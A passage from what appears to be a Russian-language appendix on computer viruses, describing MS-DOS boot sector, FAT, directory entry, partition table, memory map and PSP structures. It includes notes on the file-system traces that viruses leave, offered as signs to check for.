00 00 00 00 00 00 12 ................ 0030: 00 00 00 00 01 00 FA 33 C0 8E D0 BC 00 7C 16 07 .......3.....|.. 0040: BB 78 00 36 C5 37 1E 56 16 53 BF 2B 7C B9 0B 00 .x.6.7.V.S.+|... 0050: FC AC 26 80 3D 00 74 03 26 8A 05 AA 8A C4 E2 F1 ..&.=.t.&....... 0060: 06 1F 89 47 02 C7 07 2B 7C FB CD 13 72 67 A0 10 ...G...+|...rg.. 0070: 7C 98 F7 26 16 7C 03 06 1C 7C 03 06 0E 7C A3 3F |..&.|...|...|.? 0080: 7C A3 37 7C B8 20 00 F7 26 11 7C 8B 1E 0B 7C 03 |.7|. ..&.|...|. 0090: C3 48 F7 F3 01 06 37 7C BB 00 05 A1 3F 7C E8 9F .H....7|....?|.. 00A0: 00 B8 01 02 E8 B3 00 72 19 8B FB B9 0B 00 BE D6 .......r........ 00B0: 7D F3 A6 75 0D 8D 7F 20 BE E1 7D B9 0B 00 F3 A6 }..u... ..}..... 00C0: 74 18 BE 77 7D E8 6A 00 32 E4 CD 16 5E 1F 8F 04 t..w}.j.2...^... 00D0: 8F 44 02 CD 19 BE C0 7D EB EB A1 1C 05 33 D2 F7 .D.....}.....3.. 00E0: 36 0B 7C FE C0 A2 3C 7C A1 37 7C A3 3D 7C BB 00 6.|...<|.7|.=|.. 00F0: 07 A1 37 7C E8 49 00 A1 18 7C 2A 06 3B 7C 40 38 ..7|.I...|*.;|@8 0100: 06 3C 7C 73 03 A0 3C 7C 50 E8 4E 00 58 72 C6 28 .<|s..<|P.N.Xr.( 0110: 06 3C 7C 74 0C 01 06 37 7C F7 26 0B 7C 03 D8 EB .<|t...7|.&.|... 0120: D0 8A 2E 15 7C 8A 16 FD 7D 8B 1E 3D 7C EA 00 00 ....|...}..=|... 0130: 70 00 AC 0A C0 74 22 B4 0E BB 07 00 CD 10 EB F2 p....t"......... 0140: 33 D2 F7 36 18 7C FE C2 88 16 3B 7C 33 D2 F7 36 3..6.|....;|3..6 0150: 1A 7C 88 16 2A 7C A3 39 7C C3 B4 02 8B 16 39 7C .|..*|.9|.....9| 0160: B1 06 D2 E6 0A 36 3B 7C 8B CA 86 E9 8A 16 FD 7D .....6;|.......} 0170: 8A 36 2A 7C CD 13 C3 0D 0A 4E 6F 6E 2D 53 79 73 .6*|.....Non-Sys 0180: 74 65 6D 20 64 69 73 6B 20 6F 72 20 64 69 73 6B tem disk or disk 0190: 20 65 72 72 6F 72 0D 0A 52 65 70 6C 61 63 65 20 error..Replace 01A0: 61 6E 64 20 73 74 72 69 6B 65 20 61 6E 79 20 6B and strike any k 01B0: 65 79 20 77 68 65 6E 20 72 65 61 64 79 0D 0A 00 ey when ready... 01C0: 0D 0A 44 69 73 6B 20 42 6F 6F 74 20 66 61 69 6C ..Disk Boot fail 01D0: 75 72 65 0D 0A 00 49 4F 20 20 20 20 20 20 53 59 ure...IO SY 01E0: 53 4D 53 44 4F 53 20 20 20 53 59 53 00 00 00 00 SMSDOS SYS.... 01F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA ..............U. └──┬──┘ └─── идентификационные байты Рис.3. Бутсектор дискеты 2D-2S, размеченной программой FORMAT При интерпретации дампа следует обратить внимание на то, что микропроцессор 8086 записывает в память машинное слово (2 байта) в формате <младший байт><старший байт>. Поэтому при интерпретации двухбайтовых полей для получения правильного значения следует переставить байты местами. Например, поле SectSiz содержит "00 02", т.е. его значение равно 0200h - 512 байт. Таблица распределения файлов (FAT) На дискетах 360К под FAT отведены четыре сектора - текущее состояние FAT в секторах 1,2 и его копия в секторах 3,4. Дискеты 720К содержат основную FAT в секторах 1,2,3 и ее копию в секторах 4,5,6. FAT представляет собой карту дискового пространства, распределяемого под файлы, и содержит по три шестнадцатеричные цифры для каждого имеющегося на диске кластера. Каталог (см. ниже) содержит номер первого кластера, занятого файлом; в свою очередь, в каждом элементе содержится указатель на следующий кластер файла. Если кластер является последним кластером файла, то он содержит FFF. Таким образом, MS DOS может отслеживать последовательность кластеров, принадлежавших файлу, независимо от фактического расположения их на диске. Для незанятых кластеров указатель имеет 000. Если кластер поврежден и MS DOS не может считать или записать в него информацию, то такой кластер содержит FF7 (признак сбойного кластера), и MS DOS не использует отмеченные таким образом кластеры при распределении. Таблица распределения файлов по сути является односвязным списком, который DOS использует для отслеживания физического расположения данных на диске и для поиска свободной памяти для новых файлов. Слово по смещению 1Ah в элементе оглавления содержит номер первого кластера в цепочке распределения файла. Соответствующий элемент FAT либо указывает конец цепочки, либо ссылается на следующий элемент, и т.д. FAT может состоять из 12-битовых или 16-битовых элементов. 12-битовые элементы используются для дискет. 16-битовые элементы FAT были введены, начиная с DOS 3.0, когда возникла необходимость управления 20-мегабайтным винчестером. Поскольку 12 битовые элементы трудно анализировать на обычном дампе, для анализа FAT целесообразно использовать Norton Utilities, выдающую разобранный на 12 битовые элементы (полуинтерпретированный) дамп (рис.5). ╔ FAT area ═══════════════════════════════════════════════════════ FAT format ═╗ ║ Sector 1 in 1st copy of FAT Cluster 2, hex 2 ║ ║ ║ ║ 3 4 5 6 7 8 9 10 11 12 13 14 ║ ║ 15 16 17 18 19 20 21 22 23 <EOF> 25 26 ║ ║ 27 28 29 30 31 32 33 34 35 36 37 38 ║ ║ 39 40 41 42 43 44 45 46 47 48 49 50 ║ ║ 51 52 53 <EOF> 55 56 57 58 59 60 61 62 ║ ║ 63 64 65 66 67 68 69 70 71 72 73 74 ║ ║ 75 76 77 78 <EOF> 0 0 0 0 0 0 0 ║ ║ 0 0 0 0 0 0 0 0 0 0 0 0 ║ ║ 0 0 0 0 0 0 0 0 0 0 0 0 ║ ║ 0 0 0 0 0 0 0 0 0 0 0 0 ║ ║ 0 0 0 0 0 0 0 0 0 0 0 0 ║ ║ 0 0 0 0 0 0 0 0 0 0 0 0 ║ ║ 0 0 0 0 0 0 0 0 0 0 0 0 ║ ║ 0 0 0 0 0 0 0 0 0 0 0 0 ║ ║ 0 0 0 0 0 0 0 0 0 0 0 0 ║ ║ 0 0 0 0 0 0 0 0 0 0 0 0 ║ ║ 0 0 0 0 0 0 0 0 0 0 0 0 ║ ║ 0 0 0 0 0 0 0 0 0 0 0 0 ║ ║ 0 0 0 0 0 0 0 0 0 0 0 0 ║ ║ ║ ║ Press Enter to continue ║ 1Help 2Hex 3Text 4Dir 5FAT 6Partn 7 8Choose 9Undo 10QuitNU Рис.5. Полуинтерпретированный дамп FAT минимальной DOS, полученный с помощью Norton Utilities На рис. 5 отчетливо видны три цепочки кластеров для трех имеющихся в минимальной DOS файлов. Если диск был предварительно сжат, т.е. файлы расположены друг за другом и занимают последовательные сектора (что имеет место для дискеты с минимальной DOS), цепочки кластеров в FAT вырождаются в возрастающую последовательность номеров и при минимальном навыке разрушенную FAT можно восстанавить вручную. Поэтому регулярное сжатие диска с помощью утилиты NC или COMPRESS является приемом, значительно повышающим надежность хранения информации. Корневой каталог MS DOS хранит информацию о файлах в каталогах, которые образуют древовидную структуру. Корневой каталог хранит сведения о всех содержащихся в нем файлах и подкаталогах. Он занимает семь секторов, начиная с сектора 5. Каждый элемент корневого каталога занимает 32 байта. Очевидно, в одном секторе может разместиться 16 элементов. Это означает, что в семи секторах корневого каталога могут быть описаны до 112 файлов и подкаталогов. Структура каталога показана на рис.6. 0 1 2 3 4 5 6 7 8 9 A B C D E F ╓───────┬───────┬───────┬───────╥───────┬───╥───╥───────┬───────┐ 00 ║ name ║ ext ║atr║ резерв │ ╚───┴───┼───┴───┼───┴───╥───┴───╫───┴───╥───╨───╫───┴───┼───┴───┤ 10 резерв ║ time ║ date ║ClstrNo║ размер файла │ ├───┴───┼───┴───┼───┴───╨───┴───╨───┴───╨───┴───╨───┴───┼───┴───┼ Рис.4. Структура элемента каталога Границы полей отмечены двойной линией. Используются следующие обозначения (в квадратных скобках указаны смещение в 16-ричной системе счисления и длина): name - имя файла [+0; 8]; ext - расширение имени [+8;3]; atr - атрибут файла [+0Bh;1]; резерв [+0Ch;0Ah]; time - время создания [+16h;2]; date - дата создания [+18h;2]; ClstrNo - номер начального кластера данных (связь с FAT) [+1Ah; 2]; размер файла - размер файла в байтах [+1Ch;4]; Как видно из рис.6, имя файла состоит не более чем из восьми символов, дополненных справа пробелами. За именем следует факультативное трехсимвольное расширение. При длине менее трех символов оно также дополняется пробелами. Байт атрибутов позволяет MS DOS идентифицировать статус файла, по которому подразумевается некоторая (с точки зрения защиты от вирусов иллюзорная) степень защиты от несанкционированных действий пользователя. Не все биты байта атрибутов используются. Первый (наименее значащий) бит показывает, что это скрытый файл (не выдается командой DIR). Второй бит означает, что это системный файл, в отличие от пользовательских файлов. Номер первого кластера позволяет определить место в FAT, занимаемое файлом. Если файл является каталогом (подкаталогом), то он имеет установленный бит 4 байта атрибутов. Дамп главного кaталога для минимальной конфигурации приведен на рис.7. PC Tools Deluxe R4.30 -───────────────────────────Disk View/Edit Service──────────────────────────── Path=A: Absolute sector 0000005, System ROOT, Disk Abs Sec 0000005 Displacement 0000(0000) 0016(0010) 0032(0020) 0048(0030) 0064(0040) 0080(0050) 0096(0060) 0112(0070) 0128(0080) ───────────────── 49 42 4D 42 49 4F 00 00 00 00 00 00 49 42 4D 44 4F 53 00 00 00 00 00 00 43 4F 4D 4D 41 4E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Hex codes──────────────────── 20 20 43 4F 4D 27 00 00 00 00 00 60 AC 11 02 00 54 56 00 00 20 20 43 4F 4D 27 00 00 00 00 00 60 AC 11 18 00 CF 75 00 00 44 20 43 4F 4D 21 00 00 00 00 00 60 71 0E 36 00 DB 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ASCII value IBMBIO COM' IBMDOS COM' COMMAND COM! 0144(0090) 0160(00A0) 0176(00B0) 0192(00C0) 0208(00D0) 0224(00E0) 0240(00F0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Home=beg of file/disk End=end of file/disk ESC=Exit PgDn=forward PgUp=back F2=chg sector num 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F3=edit F4=get name Рис.7. Дамп первого сектора FAT для минимальной DOS, полученный с помощью PC TOOLS Поле атрибутов файла Поле атрибутов файла позволяет присваивать файлу определенный "статус" относительно тех или иных операций. Не все биты байта атрибутов используются. Биты нумеруются с нуля. Наименее значащий (нулевой) бит соответствует аттрибуту READ ONLY, затем идут биты, соответствующие атрибутам HIDDEN и SYSTEM. Биты нумеруются с нуля. Атрибут READ ONLY ("только чтение") запрещает выполнение операций удаления и модификации данного файла. Если установлен первый бит (атрибут HIDDEN), то данный файл является так называемым скрытым файлом (не выдается командой DIR). Второй бит означает, что это системный файл, в отличие от пользовательских файлов. Используемые биты байта атрибутов показаны на рис.8. ╓7┬6┬5┬4┬3┬2┬1┬0╖ ║ │a│d│v│s│h│r║ ╙─┴─┴╥┴╥┴╥┴╥┴╥┴╥╜ ║ ║ ║ ║ ║ ╚═ ║ ║ ║ ║ ╚═══ ║ ║ ║ ╚═════ ║ ║ ╚═══════ ║ ╚═════════ ╚═══════════ бит *** 0: 1 = только чтение (READ ONLY) 1: 1 = спрятанный (HIDDEN) 2: 1 = системный (SYSTEM) 3: 1 = метка тома 4: 1 = элемент подоглавления 5: архив. 1=копия файла НЕ архивировалась маска *** (01h) (02h) (04h) (08h) (10h) (20h) Рис.8. Формат поля атрибутов файла Как видно из рис.8, метка тома представляет собой просто файл со специальным атрибутом. Одна из функций DOS (21-43h) позволяет вирусу "молча" изменять любой бит байта атрибутов, включая "только чтение", что является явным дефектом реализации этой функции, существенно облегчающим жизнь создателям вирусов. Впрочем, при отсутствии страничной организации памяти и режима супервизора (как в старой, доброй системе 360/370), радикальных мер по исправлению этой ошибки, по сути, и предложить нельзя. Поля даты и времени ╓F┬E┬D┬C┬B╥A┬9┬8┼7┬6┬5╥4┬3┬2┬1┬0╖ ║ час ║ минута ║ сек/2 ║ ╙─┴─┴─┴─┴─╨─┴─┴─┼─┴─┴─╨─┴─┴─┴─┴─╜ ╚═══╦═══╝ ╚════╦════╝ ╚═══╦═══╝ ║ ║ ╚════ 2-секундные единицы (0-31) ║ ╚═══════════════ минута (0-63) ╚══════════════════════════ час (0-31) ╓F┬E┬D┬C┬B┬A┬9╥8┼7┬6┬5╥4┬3┬2┬1┬0╖ ║ год ║ месяц ║ день ║ ╙─┴─┴─┴─┴─┴─┴─╨─┼─┴─┴─╨─┴─┴─┴─┴─╜ ╚═════╦═════╝ ╚══╦══╝ ╚═══╦═══╝ ║ ║ ╚════ день (0-31) ║ ╚═════════════ месяц (0-15) ╚════════════════════════ год - 1980 (0-127) Рис.9. Формат полей даты и времени Следует обратить внимание на то, что несовпадение систем представления часов, секунд и минут с двоичной системой приводит к наличию некоторого "запаса" в формате поля даты, что позволяет устанавливать "абсурдное" время типа 31 час 63 минуты 62 секунды. Поскольку ни одна из стандартных команд MS DOS не выдает количество секунд во времени образования файла, то значение "62 секунды" поля секунд может использоваться (и используется) вирусами для специальных целей, например для отметки о том, что данный файл был заражен. Аналогично может использоваться поле даты. Год создания файла храниться в IBM PC в виде остатка после вычитания 1980 (даны создания данного компьютера). Некоторые вирусы используют этот факт для пометки зараженных файлов: при заражении они добавляют к году создания файла 100. Это приращение не видно "невооруженным глазом", поскольку как команда DIR, так и большинство оболочек выдает только две последние цифры года. Один из вирусов устанавливает для зараженных файлов 13 месяц. Пример элемента каталога показан на рис.10. номер начального кластера Элемент каталога ║ ╓───────────────┬─────┬─┬───┬───┬───┬─V─┬───────╖ ║E X A M P L E │C O M│a│...│tim│dat│08 │ длина ║ ╙─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴───┴─┴─┴─┴─┴─╫─┴─┴─┴─┴─╜ ║ 00 01 02 03 04 05 06 07 ║8 09 0A 0B 0C 0D 0E 0F ┌──┐┌──┐┌──┐┌──┐┌──┐┌──┐┌──┐┌──┐┌V─┐┌──┐┌──┐┌──┐┌──┐┌──┐┌──┐┌──┐ 00 │ID││FF││03═>04═>05═>FF││00││00││09═>0A═>0B═>15││00││00││00││00│ └──┘└──┘└──┘└──┘└──┘└──┘└──┘└──┘└──┘└──┘└──┘└╫─┘└──┘└──┘└──┘└──┘ ╔═══════════════════════╝ ┌──┐┌──┐┌──┐┌──┐┌──┐┌V─┐┌──┐┌──┐┌──┐┌──┐┌──┐┌──┐┌──┐┌──┐┌──┐┌──┐ 10 │00││00││00││00││00││16═>17═>19││F7││1A═>1B═>FF││00││00││00││00│ └──┘└──┘└──┘└──┘└──┘└──┘└──┘└╫─┘└──┘└A─┘└──┘└──┘└──┘└──┘└──┘└──┘ ╚═══════╝ Рис.10. Пример элемента каталога и цепочки элементов FAT Как видно из рис.10, файл EXAMPLE.COM занимает 10 кластеров. Первый кластер - это кластер 08, последний кластер - 1B. Цепочка кластеров - 8, 9,0A,0B,15,16,17,19,1A,1B. Каждый элемент указывает на следующий элемент цепочки, а последний элемент содержит специальный код. Кластер 18 поме- чен как плохой и не входит в цепочку распределения. Кластеры 6,7, 0C-14 и 1C-1F пусты и доступны для распределения. Еще одна цепочка, возможно, начинается с кластера 2 (при условии, что не показанные на рис.10 элементы каталога равны нулю) и кончается кластером 5. Чтобы узнать имя соответствующего файла, нужно отыскать элемент каталога с начальным номером кластера 02. Как уже отмечалось, кластеры нумеруются, начиная с друх (нулевой элемент используется для маркировки свободных кластеров, а поле первого кластера используется для поля Media Подкаталоги Подкаталог является обычным файлом со структурой, идентичной структуре корневого каталога. В отличие от корневого каталога, размер которо- го ограничен 7 секторами, размеры подкаталога не лимитируются. В свою очередь, подкаталог может содержать "подкаталоги". Каждый подкаталог содержит два элемента, создаваемых MS DOS, которые обеспечивают координаты данного подкаталога в дереве иерархической файловой системы. Первым является элемент с именем ".", указывающий на первый кластер в самом подкаталоге, а второй с именем ".." указывает на первый кластер родителя данного каталога. Эти два элемента также имеют установленный бит 4 байта атрибутов. Удаление файлов Когда файл стирается с диска, первая буква его имени заменяется на Е5 и все элементы FAT, соответствующие занимаемым этим файлом кластерам, обнуляются. При занесении нового файла в каталог он будет размещен в первом свободном элементе. Таким образом, простого метода восстановления удаленных файлов в MS DOS принципиально не существует. В то же время, поскольку информация в кластерах не уничтожается, принципиально возможно восстановить файл путем просмотра всех свободных кластеров. Существуют методы восстановления файлов с помощью системных утилит, например PCTools, но она правильно восстанавливает лишь те файлы, у которых номера кластеров в FAT расположены подряд по возрастанию номеров. PCTools (и аналогичные ей утилиты) фактически читает из каталога бывший элемент, определяет по длине файла, сколько ему было выделено кластеров и заполняет FAT. Поэтому для успешного восстановления файла необходимо, чтобы дискета или винчестер периодически обрабатывались утилитой SpeedDisk из пакета Нортона, COMPRESS из пакета PC Shell или любой другой аналогичной утилитой. Таблица разделов диска - Partition Table (только для винчестера) Самый первый сектор твердого диска содержит так называемый Master Boot Record (MBR). Название "главный бутсектор" (буквальный перевод термина Master Boot Record - главная загрузочная запись) связано с тем, что MBR первым загружается в оперативную память, если загрузка операционной системы выполняется с винчестера. MBR состоит из выполняемого кода и таблицы разделов. Последняя расположена в конце сектора и состоит из четырех 16-байтовых элементов. Информация в таблицу разделов заносится утилитой FDISK или аналогичной ей несистемной утилитой. Просматривать таблицу разделов удобнее всего с помощью Norton Utilities. Во время загрузки ROM-BIOS загружает главную корневую запись и передает управление на ее код. Этот код считывает таблицу разделов, чтобы определить раздел, помеченный как загружаемый (Bootable). Затем в память считывается бутсектор из этого раздела и ему передается управление. Отсюда следует, что заражая винчестер, вирус может заменять не только бутсектор, но и таблицу разделов. И действительно, существует несколько вирусов. использующих этот способ. 0 1 2 3 4 5 6 7 8 9 A B C D E F ┌───────┬───────┬───────┬───────┬───────┬───────┬───────┬───────┬ 00 │ начало кода начальной загрузки MBR └───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┤ 10 ├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┤ . ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───╥───┴───┤ конец кода начальной загрузки MBR ║ Первый ├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───╫───┴───┤ 1C0 раздел винчестера ║ Второй ├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───╫───┴───┤ 1D0 раздел винчестера ║ Третий ├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───╬───┴───┤ 1B0 1E0 раздел винчестера ║ Четвер├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───╬───┴───┤ 1F0 тый раздел винчестера ║ 55 AA│ ├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───╨───┴───┘ Рис.11. Структура таблицы разделов винчестера 10 ┌───────┬───────┬───────┬───────┬───────┬───────┬───────╥───╥───╖ ║Bot║HdS║ ╓───┴───╥───┴───╥───┴───╥───┴───┼───┴───╥───┴───┼───┴───╫───╨───╜ ║Sec Cyl║Sys HdE║Sec Cyl║младш старш ║младш старш ║ ╙───┴───╨───┴───╨───┴───╨───┴───┼───┴───╨───┴───┼───┴───╨───┴───┤ Рис.12. Структура элемента раздела (поля показаны в тех положениях, в которых они расположены в дампе) +0 1 +1 1 +2 2 +4 1 +5 1 +6 2 +8 4 +0Ch 4 +10h ┌───┐ │Boot Флаг загрузки: 0=не загружаемый, 80h = загружаемый ├───┼ │HdS│ Начало раздела: номер головки ├───┼───┐ │Sec Cyl│ Начало раздела: сектор/цилиндр корневого сектора ├───┼───┘ │Sys│ Код системы: 0=неизв., 1=DOS 12-бит FAT, 4=16-бит ├───┼ │HdE│ Конец раздела: номер головки ├───┼───┐ │Sec Cyl│ Конец раздела: сектор/цилиндр последнего сектора ├───┴───┼───┬───┐ │ младш старш │ Относительный номер начального сектора ├───┴───┼───┴───┤ │ младш старш │ Размер (число секторов) └───┴───┴───┴───┘ начало следующего элемента раздела (или 0AA55h для последнего элемента) Значения цилиндра и сектора занимают 10 и 6 бит соответственно: [616]--Значения цилиндра и сектора занимают 10 и 6 бит соответственно: ╓F┬E┬D┬C┬B┬A┬9┬8┼7┬6╥5┬4┬3┬2┬1┬0╖ ║c c c c c c c c C C║s s s s s s║ ╙─┴─┴─┴─┴─┴─┴─┴─┼─┴─╨─┴─┴─┴─┴─┴─╜ └─┬─┘ └─- биты, обозначенные большими буквами С являются старшими, т.е. при дешифровке номера цилиндра они приписываются слева, а не справа Значение "относительного сектора" по смещению 8 в каждом разделе эквивалентно цилиндру, дорожке и сектору начального адреса раздела. Относительный сектор 0 совпадает с цилиндром 0, дорожкой 0, сектором 1. Относительный номер сектора прирастает сначала по каждому сектору на головке, затем по каждой дорожке и, наконец, по каждому цилиндру. Применима формула: отн_сек = (#Цил * сек_на_дор * дор_на_цил)+(#Гол * сек_на_дор)+(#Сек-1) Разделы винчестера начинаются с начала четного номера цилиндра, за исключением первого раздела, который может начинаться с цилиндра 0, дорожки 0, сектора 2 (поскольку сектор 1 - это главный бутсектор), а обычно начинается со следующей дорожки, оставляя остальные сектора нулевой дорожки пустыми. Последнее обстоятельство используется рядом бутовых вирусов для хранения там своего хвоста, поэтому указанных секторов рекомендуется периодически просматривать. ПРИЛОЖЕНИЕ 7 ИСПОЛНЯЕМЫЕ ФАЙЛЫ И СВЯЗАННЫЕ С НИМИ СИСТЕМНЫЕ БЛОКИ РАСПРЕДЕЛЕНИЕ ОПЕРАТИВНОй ПАМЯТИ В MS DOS Оперативная память в MS DOS распределяется в соответствии с приводимой таблицей. ┌──────────┬─────┬───┬───────────────────────────────────────────────┐ │ │ │За-│ │ │ Адрес │Длина│ви-│ │ │ сегмент: │(де- │си-│ Наименование и описание │ │смещение) │сят.)│мо-│ │ │ │ │сть│ │ ╞══════════╪═════╪═══╪═══════════════════════════════════════════════╡ │0000:0000 │1024 │ - │ Таблица векторов прерываний: │ │ │ │ │ 256 4-байтовых адресов │ ├──────────┼─────┼───┼───────────────────────────────────────────────┤ │0040:0000 │ 256 │ - │ Область данных ROM-BIOS │ ├──────────┼─────┼───┼───────────────────────────────────────────────┤ │0050:0000 │ 512 │ - │ Область данных DOS │ ├──────────┼─────┼───┼───────────────────────────────────────────────┤ │xxxx:0000 │ 8928│Ver│ Код BIOS (считанный из IO.SYS или IBMBIO.COM │ │ │ │ │ на диске загрузки) │ ├──────────┼─────┼───┼───────────────────────────────────────────────┤ │xxxx:0000 │29920│Ver│Обработчики прерываний DOS, │ │ │ │ │ включая INT 21h (MSDOS.SYS или IBMDOS.COM) │ ├──────────┼─────┼───┼───────────────────────────────────────────────┤ │xxxx:0000 │ │Con│ DOS: буфера, области данных │ │ │ │ │ и устанавливаемые драйверы │ ├──────────┼─────┼───┼───────────────────────────────────────────────┤ │xxxx:0000 │ │Ver│ Резидентная порция COMMAND.COM │ │ │ │ │ (стандартный - около 4K длиной) │ │ │ │ │ включает обработчики │ │ │ │ │ INT 22h, INT 23h и INT 24h │ ╞══════════╪═════╪═══╪═══════════════════════════════════════════════╪═════════╗ │xxxx:0000 │ │ │ Резидентные программы и данные │ область ║ │ │ │ │ (постоянно резидентные утилиты и т.д. │ пользо- ║ ├──────────┼─────┼───┼───────────────────────────────────────────────┤ вателя ║ │xxxx:0000 │ │ │ Текущая выполняемая прикладная │ ║ │ │ │ │ программа (.COM или .EXE). │ ║ │ │ │ │ Программе в начале выделяется │ ║ │ │ │ │ память до 640K (адреса A000:0000) │ ║ │ │ │ │ или до максимального для данного │ ║ │ │ │ │ компьютера адреса │ ║ ├──────────┼─────┼───┼───────────────────────────────────────────────┤ ║ │xxxx:0000 │ │Con│ Транзитная часть COMMAND.COM (содержит интер-│ ║ │ │ │ │ претатор команд, внутренние команды и т.п. │ ║ │ │ │ │ Перезагружается, если кто-то перекроет ее. │ ║ ╞══════════╪═════╪═══╪═══════════════════════════════════════════════╪═════════╝ │A000:0000 │ │ - │ EGA-память для некоторых видео режимов │Граница ├──────────┼─────┼───┼───────────────────────────────────────────────┤640К зоны │B000:0000 │ │ - │ Видео память монохромного адаптера │ │ │ │ │ и адаптера типа Гекулес (Hercules) │ ├──────────┼─────┼───┼───────────────────────────────────────────────┤ │B800:0000 │ │ - │ Видео память CGA │ │ │ │ │ (также страница 2 для Hercules) │ ╞══════════╪═════╪═══╪═══════════════════════════════════════════════╡ │C800:0000 │ │ - │ Внешний код ROM. ROM-BIOS ищет здесь │ │ до │ │ │ (в 2K-блоках) код, выполняемый при загрузке. │ │E000:0000 │ │ │ Этот код обычно инсталлирует обработчик │ │ │ │ │ устройства (дополнит. BIOS винчестера или EGA)│ ├──────────┼─────┼───┼───────────────────────────────────────────────┤ │E000:0000 │ │ - │ Модули ROM материнской платы │ │ до │ │ │ в блоках по 64K (только AT) │ │E000:FFFF │ │ │ │ ├──────────┼─────┼───┼───────────────────────────────────────────────┤ │F600:0000 │ │ - │ ROM-резидентный интерпретатор BASIC (для ори- │ │ │ │ │ гинальных IBM/PC), обработчик ошибок при │ │ │ │ │ загрузке для клонов │ ├──────────┼─────┼───┼───────────────────────────────────────────────┤ │FE00:0000 │ │ - │ ROM-BIOS: POST и код загрузки, │ │ │ │ │ обработчики прерываний и прочее │ ├──────────┼─────┼───┼───────────────────────────────────────────────┤ │F000:FFF0 │ │ - │ JMP на программу, выполняемую │ │ │ │ │ при включении или сбросе │ ├──────────┼─────┼───┼───────────────────────────────────────────────┤ │F000:FFF5 │ │ - │ Дата издания BIOS (в ASCII) │ ├──────────┼─────┼───┼───────────────────────────────────────────────┤ │F000:FFFE │ │ - │ Идентификационный код IBM PC. │ └──────────┴─────┴───┴───────────────────────────────────────────────┘ Примечания: 1. В графе зависимость знак "-" означает, что приведенные в предыдущих графах значения постоянны, "Ver" - зависят от версии MS DOS, "Сon" - от содержимого CONFIG.SYS. 2. Приведенные значения соответствуют IO.COM и MSDOS.COM MS DOS версии 3.3. BIOS хранит двухбайтовую переменную по адресу 0040:0013, которая сообщает количество килобайт используемой памяти (обьем системной памяти). Это значение можно либо посмотреть непосредственно, используя, скажем утититу LOW или PEPORES (СП 2-8) или получить как часть протокола некоторых утитит, например SYSMAP. Для большинства машин это 640(280h) или 512 (200h). Бутовые вирусы обычно уменьшают это значение при своей инсталляции, "откусывая" необходимое им число килобайт. Таким образом обьем системной памяти уменьшается и это уменьшение является свидетельством того, что "что то не так". Прерывание 12h BIOS проверяет установку переключателей на системной плате и возвращает в регистр AX обьем установленной системной памяти в килобайтах. Его можно вызвать из любого отладчика, например DEBUG. Память свыше 1 мегабайта доступна на компьютерах класса AT через функцию BIOS INT 15h, и в основном используется DOS для операций с виртуальными дисками. ПРЕФИКС ПРОГРАММНОГО СЕГМЕНТА (PSP) Когда программа начинает выполнение, DS:0000 и ES:0000 указывают на начало PSP этой программы. Информация PSP позволяет выделить имена файлов и опции из строки команд, узнать объем доступной памяти, определить окружение и т.д. 0 1 2 3 4 5 6 7 8 9 A B C D E F ┌───────╥───────╥───╥───┬───────┬───────╥───────┬───────╥───────┐ │INT 20h║MemTop ║Rsv║CALL смещ. сегмент║Ад.зaв (int22)║Ctrl├───┴───╫───┴───╨───╨───╥───┴───┼───┴───╫───┴───┼───┴───╫───┴───┤ 10 Break. ║Critical Error ║ Резервная область DOS ├───┼───╨───┼───┼───┼───╨───┼───┼───┼───╨───┼───╥───┼───╫───┼───┤ 20 Резервная область DOS Резервная область DOS ║EnvSeg ║ Резер├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───╨───┴───╨───┴───┤ 30 вная область DOS Резервная область DOS Резервная область DOS ├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┤ 40 Резервная область DOS (продолжение) ├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───╥───┴───┼───┴───┤ 50 Резервная область DOS (окончание) ║ Форматирован├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───╫───┴───┼───┴───┤ 60 ная область параметра 1 ║ Форматирован├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───╨───┴───┼───┴───╖ 70 ная область параметра 2 ║ ╓───╥───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───╜ 80 ║len║ неформатированная область параметров (символы из командной ╙───╨───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┤ 90 строки DOS ) ├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┤ ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... 00 100 ╓───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┤ ║ начало кода для COM или EXE-файла ╙───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┤ Рис.9. Структура префикса программного сегмента Первым полем префикса программного сегмента (рис.9) является команда INT 20h [0;2] - программы могут выполнять на нее переход с помощью JMP или RET для выхода. Поле MemTop содержит адрес вершины доступной памяти системы в параграфах[+2;2]; Далее один байт резервируется - поле Rsv[+4;1]. Следующее поле[5;5] содержит команду длинного перехода(FAR CALL) к диспетчеру функций DOS. Поле Avail [6;2] содержит доступные 